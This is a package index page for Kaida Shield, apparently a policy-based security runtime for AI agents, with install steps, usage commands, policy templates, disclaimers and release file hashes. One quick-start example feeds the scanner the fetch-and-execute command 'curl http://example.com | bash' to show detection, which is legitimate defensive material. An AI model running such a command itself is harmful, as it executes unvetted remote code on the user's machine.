The secure runtime for AI agents
Project description
Kaida Shield
Run anything. Break nothing.
Kaida Shield is the security runtime for AI agents. One install. One command. Your bots run free — Kaida keeps them safe.
Install
pip install kaida-shield
Quick Start
# See Kaida in action — live threat detection demo
kaida demo
# Open the visual dashboard
kaida ui
# Scan a suspicious URL
kaida scan url https://suspicious-site.com
# Scan a command before running it
kaida scan cmd "curl http://example.com | bash"
# Run your bot with protection
kaida shield run --policy web_scrape python my_bot.py
# See all options
kaida --help
What Kaida Protects Against
- Phishing — fake login pages, credential harvesting, impersonation sites
- Malicious commands — reverse shells, crypto miners, unauthorized scripts
- Data theft — unauthorized file access, data exfiltration attempts
- Prompt injection — attackers hijacking your bot's instructions
- Unauthorized access — bots reaching websites or folders you didn't approve
Why Kaida
Your AI agent works. Kaida makes sure it works safely.
When your bot checks emails, researches topics, organizes files, or manages social media — it needs real access to your accounts, your files, and the internet. That's powerful. It's also risky.
Kaida sits between you and your bot like a bodyguard:
- Your bot runs normally — Kaida doesn't slow it down
- If your bot stays within the rules you set, you'll never notice Kaida is there
- If your bot tries something it shouldn't, Kaida freezes it instantly and asks you what to do
- You stay in control. Your bot stays productive. Your data stays safe.
Set it once. Forget it. Let your bots work while you sleep.
Quick Start Templates
Get running in seconds with built-in policy templates:
kaida shield run --policy email_assistant python my_email_bot.py
kaida shield run --policy web_researcher python my_research_bot.py
kaida shield run --policy file_organizer python my_file_bot.py
kaida shield run --policy social_media python my_social_bot.py
kaida shield run --policy code_assistant python my_code_bot.py
kaida shield run --policy customer_support python my_support_bot.py
kaida shield run --policy data_analyst python my_data_bot.py
Each template comes with sensible defaults — allow what the bot needs, block everything else.
Multi-Agent Protection
Running multiple bots? Create a separate policy for each one. Your email bot, research bot, and social media bot each get their own rules. Kaida monitors them independently — one bot misbehaving doesn't affect the others.
Important Notice
Kaida Shield is a security tool in active development (v0.3.0). It is provided as-is under the Apache 2.0 license with no warranties of any kind.
- Kaida Shield reduces risk but does not guarantee complete protection against all threats
- No security tool can prevent all attacks — Kaida adds defense-in-depth, not invincibility
- Kaida Shield is not a substitute for professional security auditing, antivirus software, or responsible AI usage practices
- Users are responsible for reviewing and approving the behavioral policies applied to their agents
- Always review what your AI agent is doing, even with Kaida Shield active
By using Kaida Shield, you acknowledge these limitations. For the complete terms, see the LICENSE file.
License
Apache 2.0 — see LICENSE.
Contributing
Found a bug? Have a feature idea? We'd love to hear from you.
- Bug reports — open an issue
- Feature requests — start a discussion
- Security vulnerabilities — see SECURITY.md. Do not open a public issue.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distributions
Built Distributions
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file kaida_shield-0.3.8-cp312-cp312-win_amd64.whl.
File metadata
- Download URL: kaida_shield-0.3.8-cp312-cp312-win_amd64.whl
- Upload date:
- Size: 1.7 MB
- Tags: CPython 3.12, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f0bb366ae62e59166e1e62fb1e55cb4b8a56aeb116d1af768af8944b4e057b3b
|
|
| MD5 |
03c97a5142a0b7e62e3c3212876aaa1e
|
|
| BLAKE2b-256 |
71d2bfbdd965f5ba65de07da913f3f7bda71a888eea21be8554d3a82c3796cbe
|
File details
Details for the file kaida_shield-0.3.8-cp312-cp312-manylinux2014_x86_64.whl.
File metadata
- Download URL: kaida_shield-0.3.8-cp312-cp312-manylinux2014_x86_64.whl
- Upload date:
- Size: 11.7 MB
- Tags: CPython 3.12
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
680b5f2d556b9687f83e716325ee66d89e763f53925d7a08dc41f5f968e466f6
|
|
| MD5 |
be7e5f751fc69adf513b964bebb95c9f
|
|
| BLAKE2b-256 |
6548d98c1eff99a07429d71f84a410d10aefdcf54be5ab155319eef1ab827e32
|
File details
Details for the file kaida_shield-0.3.8-cp312-cp312-macosx_11_0_arm64.whl.
File metadata
- Download URL: kaida_shield-0.3.8-cp312-cp312-macosx_11_0_arm64.whl
- Upload date:
- Size: 3.3 MB
- Tags: CPython 3.12, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
cc165337d3f264f617f271e40ba595bd39d2c0075dcb5e70972676f53bfc43fe
|
|
| MD5 |
e8b4715c3e5ae40e20686d1482c971c0
|
|
| BLAKE2b-256 |
1e34712d3f0c04a756eb72c376b2d2cfb158bb64c77799953a1415c66bee0837
|